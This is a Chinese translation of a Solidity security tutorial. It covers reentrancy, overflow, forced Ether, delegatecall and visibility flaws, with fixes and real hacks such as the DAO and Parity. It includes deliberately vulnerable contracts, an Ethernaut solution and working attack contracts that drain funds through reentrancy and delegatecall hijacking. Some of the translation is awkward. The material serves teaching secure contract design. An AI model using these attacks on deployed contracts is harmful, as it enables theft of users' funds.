——区块链兄弟,区块链技术专业问答先行者,中国区块链技术爱好者聚集地
译者:爱上平顶山@慢雾安全团队
校对:keywolf@慢雾安全团队
来源: Seebug Paper
原文链接:https://blog.sigmaprime.io/solidity-security.html
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
本文约10000字+,阅读(观看)需要60分钟
虽然处于起步阶段,但是 Solidity 已被广泛采用,并被用于编译我们今天看到的许多以太坊智能合约中的字节码。相应地,开发者和用户也获得许多严酷的教训,例如发现语言和EVM的细微差别。这篇文章旨在作为一个相对深入和最新的介绍性文章,详述 Solidity 开发人员曾经踩过的坑,避免后续开发者重蹈覆辙。
重入漏洞
以太坊智能合约的特点之一是能够调用和利用其他外部合约的代码。合约通常也处理Ether,因此通常会将Ether发送给各种外部用户地址。调用外部合约或将以太网发送到地址的操作需要合约提交外部调用。这些外部调用可能被攻击者劫持,迫使合约执行进一步的代码(即通过回退函数),包括回调自身。因此代码执行“ 重新进入 ”合约。这种攻击被用于臭名昭着的DAO攻击。
漏洞
当合约将ether发送到未知地址时,可能会发生此攻击。攻击者可以在fallback函数中的外部地址处构建一个包含恶意代码的合约。因此,当合约向此地址发送ether时,它将调用恶意代码。通常,恶意代码在易受攻击的合约上执行一项功能,执行开发人员不希望的操作。“重入”这个名称来源于外部恶意合约回复了易受攻击合约的功能,并在易受攻击的合约的任意位置“ 重新输入”了代码执行。
为了澄清这一点,请考虑简单易受伤害的合约,该合约充当以太坊保险库,允许存款人每周只提取1个Ether。
EtherStore.sol:
contract EtherStore {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
该合约有两个公共职能。depositFunds()和withdrawFunds()。该depositFunds()功能只是增加发件人余额。该withdrawFunds()功能允许发件人指定要撤回的wei的数量。如果所要求的退出金额小于1Ether并且在上周没有发生撤回,它才会成功。还是呢?...
该漏洞出现在[17]行,我们向用户发送他们所要求的以太数量。考虑一个恶意攻击者创建下列合约,
Attack.sol:
import "EtherStore.sol";
contract Attack {
EtherStore public etherStore;
// intialise the etherStore variable with the contract address
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
function pwnEtherStore() public payable {
// attack to the nearest ether
require(msg.value >= 1 ether);
// send eth to the depositFunds() function
etherStore.depositFunds.value(1 ether)();
// start the magic
etherStore.withdrawFunds(1 ether);
}
function collectEther() public {
msg.sender.transfer(this.balance);
}
// fallback function - where the magic happens
function () payable {
if (etherStore.balance > 1 ether) {
etherStore.withdrawFunds(1 ether);
}
}
}
让我们看看这个恶意合约是如何利用我们的EtherStore合约的。攻击者可以0x0...123使用EtherStore合约地址作为构造函数参数来创建上述合约(假设在地址中)。这将初始化并将公共变量etherStore指向我们想要攻击的合约。
然后攻击者会调用这个pwnEtherStore()函数,并且有一些以太(大于或等于1),1 ether这个例子可以说。在这个例子中,我们假设一些其他用户已经将以太币存入这份合约中,这样它的当前余额就是10 ether。然后会发生以下情况:
1. Attack.sol -Line[15] -的depositFunds()所述EtherStore合约的功能将与被叫msg.value的1 ether(和大量gas)。sender(msg.sender)将是我们的恶意合约(0x0...123)。因此,balances[0x0..123] = 1 ether。
2. Attack.sol - Line [17] - 恶意合约将使用一个参数来调用合约的withdrawFunds()功能。这将通过所有要求(合约的行[12] - [16] ),因为我们以前没有提款。
3. EtherStore.sol - 行[17] - 合约将发送1 ether回恶意合约。
4. Attack.sol - Line [25] - 发送给恶意合约的以太网将执行后备功能。
5. Attack.sol - Line [26] - EtherStore合约的总余额是10 ether,现在9 ether是这样,如果声明通过。
6. Attack.sol - Line [27] - 回退函数然后EtherStore withdrawFunds()再次调用该函数并“ 重新输入 ” EtherStore合约。
7. EtherStore.sol - 行[11] - 在第二次调用时withdrawFunds(),我们的余额仍然1 ether是行[18]尚未执行。因此,我们仍然有balances[0x0..123] = 1 ether。lastWithdrawTime变量也是这种情况。我们再次通过所有要求。
8. EtherStore.sol - 行[17] - 我们撤回另一个1 ether。
9. 步骤4-8将重复 - 直到EtherStore.balance >= 1[26]行所指定的Attack.sol。
10. Attack.sol - Line [26] - 一旦在EtherStore合约中留下少于1(或更少)的ether,此if语句将失败。这样就EtherStore可以执行合约的[18]和[19]行(每次调用withdrawFunds()函数)。
11. EtherStore.sol - 行[18]和[19] - balances和lastWithdrawTime映射将被设置并且执行将结束。
最终的结果是,攻击者已经从EtherStore合约中立即撤销了所有(第1条)以太网,只需一笔交易即可。
预防技术
有许多常用技术可以帮助避免智能合约中潜在的重入漏洞。首先是(在可能的情况下)在将ether发送给外部合约时使用内置的transfer()函数。转账功能只发送2300 gas不足以使目的地地址/合约调用另一份合约(即重新输入发送合约)。
第二种技术是确保所有改变状态变量的逻辑发生在ether被发送出合约(或任何外部调用)之前。在这个EtherStore例子中,[18]和[19]行EtherStore.sol应放在行[17]之前。将任何执行外部调用的代码放置在未知地址上作为本地化函数或代码执行中的最后一个操作是一种很好的做法。这被称为检查效果交互(checks-effects-interactions)模式。
第三种技术是引入互斥锁。也就是说,要添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。 应用所有这些技术(所有这三种技术都是不必要的,但是这些技术是为了演示目的而完成的)
EtherStore.sol给出了无再签约合约:
contract EtherStore {
// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// set the reEntrancy mutex before the external call
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// release the mutex after the external call
reEntrancyMutex = false;
}
}
真实的例子:DAO
DAO(分散式自治组织)是以太坊早期发展的主要黑客之一。当时,该合约持有1.5亿美元以上。重入在这次攻击中发挥了重要作用,最终导致了Ethereum Classic(ETC)的分叉。有关DAO漏洞的详细分析,请参阅Phil Daian的文章。
算法上下溢出
以太坊虚拟机(EVM)为整数指定固定大小的数据类型。这意味着一个整型变量只能有一定范围的数字表示。A uint8例如,只能存储在范围[0,255]的数字。试图存储256到一个uint8将导致0。如果不注意,如果不选中用户输入并执行计算,导致数字超出存储它们的数据类型的范围,则可以利用Solidity中的变量。
漏洞
当执行操作需要固定大小的变量来存储超出变量数据类型范围的数字(或数据)时,会发生溢出/不足流量。
例如,1从一个uint8(无符号的8位整数,即只有正数)变量中减去存储0该值的变量将导致该数量255。这是一个下溢。我们已经为该范围下的一个数字分配了一个数字uint8,结果包裹并给出了uint8可以存储的最大数字。同样,加入2^8=256 到a uint8会使变量保持不变,因为我们已经包裹了整个长度uint(对于数学家来说,这类似于将三角函数的角度加上$ 2 pi $,$ sin(x)= 的sin(x + 2 PI)$)。
添加大于数据类型范围的数字称为溢出。为了清楚起见,添加257到一个uint8目前有一个零值将导致数字1。将固定类型变量设为循环有时很有启发意义,如果我们在最大可能存储数字之上添加数字,我们从零开始,反之亦然为零(我们从最大数字开始倒数,从中减去的数字越多) 0)。
这些类型的漏洞允许攻击者滥用代码并创建意外的逻辑流程。例如,请考虑下面的时间锁定合约。
TimeLock.sol:
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() public payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = now + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
balances[msg.sender] = 0;
msg.sender.transfer(balances[msg.sender]);
}
}
这份合约的设计就像是一个时间保险库,用户可以将Ether存入合约,并在那里锁定至少一周。如果用户选择的话,用户可以延长超过1周的时间,但是一旦存放,用户可以确信他们的Ether被安全锁定至少一周。或者他们可以吗?...
如果用户被迫交出他们的私钥(认为是人质情况),像这样的合约可能很方便,以确保在短时间内无法获得Ether。如果用户已经锁定了100 ether合约并将其密钥交给了攻击者,那么攻击者可以使用溢出来接收以太网,无论如何lockTime。
攻击者可以确定lockTime他们现在拥有密钥的地址(它是一个公共变量)。我们称之为userLockTime。然后他们可以调用该increaseLockTime函数并将该数字作为参数传递2^256 - userLockTime。该号码将被添加到当前userLockTime并导致溢出,重置lockTime[msg.sender]为0。攻击者然后可以简单地调用withdraw函数来获得他们的奖励。
我们来看另一个例子,来自Ethernaut Challanges的这个例子。
SPOILER ALERT: 如果你还没有完成Ethernaut的挑战,这可以解决其中一个难题。
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
这是一个简单的令牌合约,它使用一个transfer()功能,允许参与者移动他们的令牌。你能看到这份合约中的错误吗?
缺陷出现在transfer()功能中。行[13]上的require语句可以使用下溢来绕过。考虑一个没有平衡的用户。他们可以transfer()用任何非零值调用函数,_value并在行[13]上传递require语句。这是因为balances[msg.sender] 零(和a uint256)因此减去任何正数(不包括2^256)将导致正数,这是由于我们上面描述的下溢。对于[14]行也是如此,我们的余额将记入正数。因此,在这个例子中,我们由于下溢漏洞而实现了自由标记。
预防技术
防止溢出漏洞的(当前)常规技术是使用或建立取代标准数学运算符的数学库; 加法,减法和乘法(划分被排除,因为它不会导致过量/不足流量,并且EVM将被0除法)。
OppenZepplin在构建和审计Ethereum社区可以利用的安全库方面做得非常出色。特别是,他们的SafeMath是一个参考或库,用来避免漏洞/溢出漏洞。
为了演示如何在Solidity中使用这些库,让我们TimeLock使用Open Zepplin的SafeMath库更正合约。超自由合约将变为:
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract TimeLock {
using SafeMath for uint; // use the library for uint type
mapping(address => uint256) public balances;
mapping(address => uint256) public lockTime;
function deposit() public payable {
balances[msg.sender] = balances[msg.sender].add(msg.value);
lockTime[msg.sender] = now.add(1 weeks);
}
function increaseLockTime(uint256 _secondsToIncrease) public {
lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
}
function withdraw() public {
require(balances[msg.sender] > 0);
require(now > lockTime[msg.sender]);
balances[msg.sender] = 0;
msg.sender.transfer(balances[msg.sender]);
}
}
请注意,所有标准的数学运算已被SafeMath库中定义的数学运算所取代。该TimeLock合约不再执行任何能够进行一个 向下/越界的操作。
实际示例:PoWHC和批量传输溢出(CVE-2018-10299)
一个4chan小组决定用Solidity编写一个在Ethereum上构建庞氏骗局的好主意。他们称它为弱手硬币证明(PoWHC)。不幸的是,似乎合约的作者之前没有看到过/不足的流量,因此,866Ether从合约中解放出来。在Eric Banisadar的文章中,我们很好地概述了下溢是如何发生的(这与上面的Ethernaut挑战不太相似)。
一些开发人员还batchTransfer()为一些ERC20令牌合约实施了一项功能。该实现包含溢出。这篇文章对此进行了解释,但是我认为标题有误导性,因为它与ERC20标准无关,而是一些ERC20令牌合约batchTransfer()实施了易受攻击的功能。
意外的Ether
通常,当Ether发送到合约时,它必须执行回退功能或合约中描述的其他功能。这有两个例外,其中ether可以存在于合约中而不执行任何代码。依赖代码执行的合约发送给合约的每个以太可能容易受到强制发送给合约的攻击。
漏洞
一种常用的防御性编程技术对于执行正确的状态转换或验证操作很有用,它是不变检查。该技术涉及定义一组不变量(不应改变的度量或参数),并且在单个(或多个)操作之后检查这些不变量保持不变。这通常是很好的设计,只要检查的不变量实际上是不变量。不变量的一个例子是totalSupply固定发行ERC20令牌。由于没有函数应该修改此不变量,因此可以在该transfer()函数中添加一个检查以确保totalSupply保持未修改状态,以确保函数按预期工作。
不管智能合约中规定的规则如何,特别是有一个明显的“不变”,可能会诱使开发人员使用,但事实上可以由外部用户操纵。这是合约中存储的当前以太。通常,当开发人员首先学习Solidity时,他们有一种误解,认为合约只能通过付费功能接受或获得以太。这种误解可能会导致合约对其内部的以太平衡有错误的假设,这会导致一系列的漏洞。此漏洞的吸烟枪是(不正确)使用this.balance。正如我们将看到的,错误的使用this.balance会导致这种类型的严重漏洞。
有两种方式可以将ether(强制)发送给合约,而无需使用payable函数或执行合约中的任何代码。这些在下面列出。
自毁/自杀
任何合约都能够实现该selfdestruct(address)功能,该功能从合约地址中删除所有字节码,并将所有存储在那里的ether发送到参数指定的地址。如果此指定的地址也是合约,则不会调用任何功能(包括故障预置)。因此,selfdestruct()无论合约中可能存在的任何代码,该功能都可以用来强制将Ether 发送给任何合约。这包括没有任何应付功能的合约。这意味着,任何攻击者都可以与某个selfdestruct()功能创建合约,向其发送以太,致电selfdestruct(target)并强制将以太网发送至target合约。Martin Swende有一篇出色的博客文章描述了自毁操作码(Quirk#2)的一些怪癖,并描述了客户端节点如何检查不正确的不变量,这可能会导致相当灾难性的客户端问题。
预先发送Ether
合约可以不使用selfdestruct()函数或调用任何应付函数就可以获得以太的第二种方式是使用ether 预装合约地址。合约地址是确定性的,实际上地址是根据创建合约的地址的哈希值和创建合约的事务现时值计算得出的。即形式:(address = sha3(rlp.encode([account_address,transaction_nonce]))请参阅Keyless Ether的一些有趣的使用情况)。这意味着,任何人都可以在创建合约地址之前计算出合约地址,并将Ether发送到该地址。当合约确实创建时,它将具有非零的Ether余额。 根据上述知识,我们来探讨一些可能出现的缺陷。 考虑过于简单的合约,
EtherGame.sol:
contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
mapping(address => uint) redeemableEther;
// users pay 0.5 ether. At specific milestones, credit their accounts
function play() public payable {
require(msg.value == 0.5 ether); // each play is 0.5 ether
uint currentBalance = this.balance + msg.value;
// ensure no players after the game as finished
require(currentBalance <= finalMileStone);
// if at a milestone credit the players account
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
return;
}
function claimReward() public {
// ensure the game is complete
require(this.balance == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
redeemableEther[msg.sender] = 0;
msg.sender.transfer(redeemableEther[msg.sender]);
}
}
这个合约代表一个简单的游戏(自然会引起条件竞争),玩家0.5 ether可以将合约发送给合约,希望成为第一个达到三个里程碑之一的玩家。里程碑以ether计价。当游戏结束时,第一个达到里程碑的人可能会要求其中的一部分。当达到最后的里程碑(10 ether)时,游戏结束,用户可以申请奖励。
EtherGame合约的问题来自this.balance两条线[14](以及协会[16])和[32] 的不良使用。一个调皮的攻击者可以0.1 ether通过selfdestruct()函数(上面讨论过的)强行发送少量的以太,以防止未来的玩家达到一个里程碑。由于所有合法玩家只能发送0.5 ether增量,this.balance不再是半个整数,因为它也会0.1 ether有贡献。这可以防止[18],[21]和[24]行的所有条件成立。
更糟糕的是,一个错过了里程碑的Ethereum的攻击者可能会强行发送10 ether(或者等同数量的以太会将合约的余额推到上面finalMileStone),这将永久锁定合约中的所有奖励。这是因为该claimReward()函数总是会回复,因为[32]上的要求(即this.balance大于finalMileStone)。
预防技术
这个漏洞通常是由于滥用this.balance。如果可能,合约逻辑应该避免依赖于合约余额的确切值,因为它可以被人为地操纵。如果基于逻辑应用this.balance,确保考虑到意外的余额。
如果需要确定的沉积ether值,则应使用自定义变量,以增加应付功能,以安全地追踪沉积的ether。这个变量不会受到通过selfdestruct()调用发送的强制以太网的影响。
考虑到这一点,修正后的EtherGame合约版本可能如下所示:
contract EtherGame {
uint public payoutMileStone1 = 3 ether;
uint public mileStone1Reward = 2 ether;
uint public payoutMileStone2 = 5 ether;
uint public mileStone2Reward = 3 ether;
uint public finalMileStone = 10 ether;
uint public finalReward = 5 ether;
uint public depositedWei;
mapping (address => uint) redeemableEther;
function play() public payable {
require(msg.value == 0.5 ether);
uint currentBalance = depositedWei + msg.value;
// ensure no players after the game as finished
require(currentBalance <= finalMileStone);
if (currentBalance == payoutMileStone1) {
redeemableEther[msg.sender] += mileStone1Reward;
}
else if (currentBalance == payoutMileStone2) {
redeemableEther[msg.sender] += mileStone2Reward;
}
else if (currentBalance == finalMileStone ) {
redeemableEther[msg.sender] += finalReward;
}
depositedWei += msg.value;
return;
}
function claimReward() public {
// ensure the game is complete
require(depositedWei == finalMileStone);
// ensure there is a reward to give
require(redeemableEther[msg.sender] > 0);
redeemableEther[msg.sender] = 0;
msg.sender.transfer(redeemableEther[msg.sender]);
}
}
在这里,我们刚刚创建了一个新变量,depositedEther它跟踪已知的以太存储,并且这是我们执行需求和测试的变量。请注意,我们不再有任何参考this.balance。
真实世界的例子:未知
我还没有找到这个在野被利用的例子。然而,在弱势群体竞赛中给出了一些可利用的合约的例子。
Delegatecall
在CALL与DELEGATECALL操作码是允许Ethereum开发者modularise他们的代码非常有用。对契约的标准外部消息调用由CALL操作码处理,由此代码在外部契约/功能的上下文中运行。该DELEGATECALL码是相同的标准消息的调用,但在目标地址执行的代码在调用合约的情况下与事实一起运行msg.sender,并msg.value保持不变。该功能支持实现库,开发人员可以为未来的合约创建可重用的代码。
虽然这两个操作码之间的区别很简单直观,但是使用DELEGATECALL会导致意外的代码执行。
漏洞
保护环境的性质DELEGATECALL已经证明,构建无脆弱性的定制库并不像人们想象的那么容易。库中的代码本身可以是安全的,无漏洞的,但是当在另一个应用程序的上下文中运行时,可能会出现新的漏洞。让我们看一个相当复杂的例子,使用斐波那契数字。
考虑下面的库可以生成斐波那契数列和相似形式的序列。 FibonacciLib.sol[^ 1]
// library contract - calculates fibonacci-like numbers;
contract FibonacciLib {
// initializing the standard fibonacci sequence;
uint public start;
uint public calculatedFibNumber;
// modify the zeroth number in the sequence
function setStart(uint _start) public {
start = _start;
}
function setFibonacci(uint n) public {
calculatedFibNumber = fibonacci(n);
}
function fibonacci(uint n) internal returns (uint) {
if (n == 0) return start;
else if (n == 1) return start + 1;
else return fibonacci(n - 1) + fibonacci(n - 2);
}
}
该库提供了一个函数,可以在序列中生成第n个斐波那契数。它允许用户更改第0个start数字并计算这个新序列中的第n个斐波那契数字。
现在我们来考虑一个利用这个库的合约。
FibonacciBalance.sol:
contract FibonacciBalance {
address public fibonacciLibrary;
// the current fibonacci number to withdraw
uint public calculatedFibNumber;
// the starting fibonacci sequence number
uint public start = 3;
uint public withdrawalCounter;
// the fibonancci function selector
bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));
// constructor - loads the contract with ether
constructor(address _fibonacciLibrary) public payable {
fibonacciLibrary = _fibonacciLibrary;
}
function withdraw() {
withdrawalCounter += 1;
// calculate the fibonacci number for the current withdrawal user
// this sets calculatedFibNumber
require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
msg.sender.transfer(calculatedFibNumber * 1 ether);
}
// allow users to call fibonacci library functions
function() public {
require(fibonacciLibrary.delegatecall(msg.data));
}
}
该合约允许参与者从合约中提取ether,ether的金额等于与参与者提款订单相对应的斐波纳契数字; 即第一个参与者获得1个ether,第二个参与者获得1,第三个获得2,第四个获得3,第五个5等等(直到合约的余额小于被撤回的斐波纳契数)。
本合约中有许多要素可能需要一些解释。首先,有一个有趣的变量,fibSig。这包含字符串“fibonacci(uint256)”的Keccak(SHA-3)散列的前4个字节。这被称为函数选择器,calldata用于指定智能合约的哪个函数将被调用。它在delegatecall[21]行的函数中用来指定我们希望运行该fibonacci(uint256)函数。第二个参数delegatecall是我们传递给函数的参数。其次,我们假设FibonacciLib库的地址在构造函数中正确引用(部署攻击向量部分 如果合约参考初始化,讨论一些与此类相关的潜在漏洞)。
你能在这份合约中发现任何错误吗?如果你把它改成混音,用ether填充并调用withdraw(),它可能会恢复。
您可能已经注意到,在start库和主调用合约中都使用了状态变量。在图书馆合约中,start用于指定斐波纳契数列的开始并设置为0,而3在FibonacciBalance合约中设置。您可能还注意到,FibonacciBalance合约中的回退功能允许将所有调用传递给库合约,这也允许调用库合约的setStart()功能。回想一下,我们保留了合约的状态,看起来这个功能可以让你改变start本地FibonnacciBalance合约中变量的状态。如果是这样,这将允许一个撤回更多的醚,因为结果calculatedFibNumber是依赖于start变量(如图书馆合约中所见)。实际上,该setStart()函数不会(也不能)修改合约中的start变量FibonacciBalance。这个合约中的潜在弱点比仅仅修改start变量要糟糕得多。
在讨论实际问题之前,我们先快速绕道了解状态变量(storage变量)实际上是如何存储在合约中的。状态或storage变量(持续在单个事务中的变量)slots在合约中引入时按顺序放置。(这里有一些复杂性,我鼓励读者阅读存储中状态变量的布局以便更透彻的理解)。
作为一个例子,让我们看看library 合约。它有两个状态变量,start和calculatedFibNumber。第一个变量是start,因此它被存储在合约的存储位置slot[0](即第一个槽)。第二个变量calculatedFibNumber放在下一个可用的存储槽中slot[1]。如果我们看看这个函数setStart(),它会接受一个输入并设置start输入的内容。因此,该功能设置slot[0]为我们在该setStart()功能中提供的任何输入。同样,该setFibonacci()函数设置calculatedFibNumber为的结果fibonacci(n)。再次,这只是将存储设置slot[1]为值fibonacci(n)。
现在让我们看看FibonacciBalance合约。存储slot[0]现在对应于fibonacciLibrary地址并slot[1]对应于calculatedFibNumber。它就在这里出现漏洞。delegatecall 保留合约上下文。这意味着通过执行的代码delegatecall将作用于调用合约的状态(即存储)。
现在请注意,我们在withdraw()[21]线上执行,fibonacciLibrary.delegatecall(fibSig,withdrawalCounter)。这就调用了setFibonacci()我们讨论的函数,修改了存储 slot[1],在我们当前的情况下calculatedFibNumber。这是预期的(即执行后,calculatedFibNumber得到调整)。
但是,请记住,合约中的start变量FibonacciLib位于存储中slot[0],即fibonacciLibrary当前合约中的地址。这意味着该功能fibonacci()会带来意想不到的结果。这是因为它引用start(slot[0])当前调用上下文中的fibonacciLibrary哪个地址是地址(当解释为a时,该地址通常很大uint)。因此,该withdraw()函数很可能会恢复,因为它不包含uint(fibonacciLibrary)ether的量,这是什么calcultedFibNumber会返回。
更糟糕的是,FibonacciBalance合约允许用户fibonacciLibrary通过行[26]上的后备功能调用所有功能。正如我们前面所讨论的那样,这包括该setStart()功能。我们讨论过这个功能允许任何人修改或设置存储slot[0]。在这种情况下,存储slot[0]是fibonacciLibrary地址。
因此,攻击者可以创建一个恶意合约(下面是一个例子),将地址转换为uint(这可以在python中轻松使用int('',16))然后调用setStart()。这将改变fibonacciLibrary为攻击合约的地址。然后,无论何时用户调用withdraw()或回退函数,恶意契约都会运行(这可以窃取合约的全部余额),因为我们修改了实际地址fibonacciLibrary。这种攻击合约的一个例子是,
contract Attack {
uint storageSlot0; // corresponds to fibonacciLibrary
uint storageSlot1; // corresponds to calculatedFibNumber
// fallback - this will run if a specified function is not found
function() public {
storageSlot1 = 0; // we set calculatedFibNumber to 0, so that if withdraw
// is called we don't send out any ether.
.transfer(this.balance); // we take all the ether
}
}
请注意,此攻击合约calculatedFibNumber通过更改存储来修改slot[1]。原则上,攻击者可以修改他们选择的任何其他存储槽来对本合约执行各种攻击。我鼓励所有读者将这些合约放入Remix,并通过这些delegatecall功能尝试不同的攻击合约和状态更改。
同样重要的是要注意,当我们说这delegatecall是保留状态时,我们并不是在讨论合约的变量名称,而是这些名称指向的实际存储槽位。从这个例子中可以看出,一个简单的错误,可能导致攻击者劫持整个合约及其以太网。
预防技术
Solidity library为实施library合约提供了关键字(参见Solidity Docs了解更多详情)。这确保了library合约是无国籍,不可自毁的。强制library成为无国籍人员可以缓解本节所述的存储上下文的复杂性。无状态库也可以防止攻击,攻击者可以直接修改库的状态,以实现依赖库代码的合约。作为一般的经验法则,在使用时DELEGATECALL要特别注意库合约和调用合约的可能调用上下文,并且尽可能构建无状态库。
真实世界示例:Parity Multisig Wallet(Second Hack)
第二种Parity Multisig Wallet hack是一个例子,说明如果在非预期的上下文中运行良好的库代码的上下文可以被利用。这个黑客有很多很好的解释,比如这个概述:Parity MultiSig Hacked。再次通过Anthony Akentiev,这个堆栈交换问题和深入了解Parity Multisig Bug。
要添加到这些参考资料中,我们来探索被利用的合约。library和钱包合约可以在这里的奇偶校验github上找到。
我们来看看这个合约的相关方面。这里包含两份利益合约,library合约和钱包合约。 library合约,
contract WalletLibrary is WalletEvents {
...
// throw unless the contract is not yet initialized.
modifier only_uninitialized { if (m_numOwners > 0) throw; _; }
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
suicide(_to);
}
...
}
和钱包合约,
contract Wallet is WalletEvents {
...
// METHODS
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
else if (msg.data.length > 0)
_walletLibrary.delegatecall(msg.data);
}
...
// FIELDS
address constant _walletLibrary = 0xcafecafecafecafecafecafecafecafecafecafe;
}
请注意,Wallet合约基本上通过WalletLibrary委托调用将所有调用传递给合约。_walletLibrary此代码段中的常量地址充当实际部署的WalletLibrary合约(位于0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4)的占位符。
这些合约的预期运作是制定一个简单的低成本可部署Wallet合约,其代码基础和主要功能在WalletLibrary合约中。不幸的是,WalletLibrary合约本身就是一个合约,并保持它自己的状态。你能看出为什么这可能是一个问题?
有可能向WalletLibrary合约本身发送调用。具体来说,WalletLibrary合约可以初始化,并成为拥有。用户通过调用契约initWallet()函数来做到这一点,WalletLibrary成为Library合约的所有者。同一个用户,随后称为kill()功能。
因为用户是Library合约的所有者,所以修改者通过并且Library合约被自动化。由于所有Wallet现存的合约都提及该Library合约,并且不包含更改该参考文献的方法,因此其所有功能(包括撤回ether的功能)都会随WalletLibrary合约一起丢失。更直接地说,这种类型的所有奇偶校验多数钱包中的所有以太会立即丢失或永久不可恢复。
默认可见性
Solidity中的函数具有可见性说明符,它们决定如何调用函数。可见性决定一个函数是否可以由用户或其他派生契约在外部调用,仅在内部或仅在外部调用。有四个可见性说明符,详情请参阅Solidity文档。函数默认public允许用户从外部调用它们。正如本节将要讨论的,可见性说明符的不正确使用可能会导致智能合约中的一些资金流失。
漏洞
函数的默认可见性是public。因此,不指定任何可见性的函数将由外部用户调用。当开发人员错误地忽略应该是私有的功能(或只能在合约本身内调用)的可见性说明符时,问题就出现了。 让我们快速浏览一个简单的例子。
contract HashForEther {
function withdrawWinnings() {
// Winner if the last 8 hex characters of the address are 0.
require(uint32(msg.sender) == 0);
_sendWinnings();
}
function _sendWinnings() {
msg.sender.transfer(this.balance);
}
}
这个简单的合约被设计为充当地址猜测赏金游戏。为了赢得合约的平衡,用户必须生成一个以太坊地址,其最后8个十六进制字符为0.一旦获得,他们可以调用该WithdrawWinnings()函数来获得他们的赏金。 不幸的是,这些功能的可见性尚未明确。特别是,该_sendWinnings()函数是public,因此任何地址都可以调用该函数来窃取赏金。
预防技术
总是指定合约中所有功能的可见性,即使这些功能是有意识的,这是一种很好的做法public。最近版本的Solidity现在将在编译过程中为未设置明确可见性的函数显示警告,以帮助鼓励这种做法。
真实世界示例:奇偶MultiSig钱包(First Hack)
在第一次Parity multi-sig黑客攻击中,约三千一百万美元的Ether被盗,主要是三个钱包。Haseeb Qureshi在这篇文章中给出了一个很好的回顾。 实质上,多sig钱包(可以在这里找到)是从一个基础Wallet合约构建的,该基础合约调用包含核心功能的库合约(如真实世界中的例子:Parity Multisig(Second Hack)中所述)。库合约包含初始化钱包的代码,如以下代码片段所示:
contract WalletLibrary is WalletEvents {
...
// METHODS
...
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function initMultiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
...
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function initWallet(address[] _owners, uint _required, uint _daylimit) {
initDaylimit(_daylimit);
initMultiowned(_owners, _required);
}
}
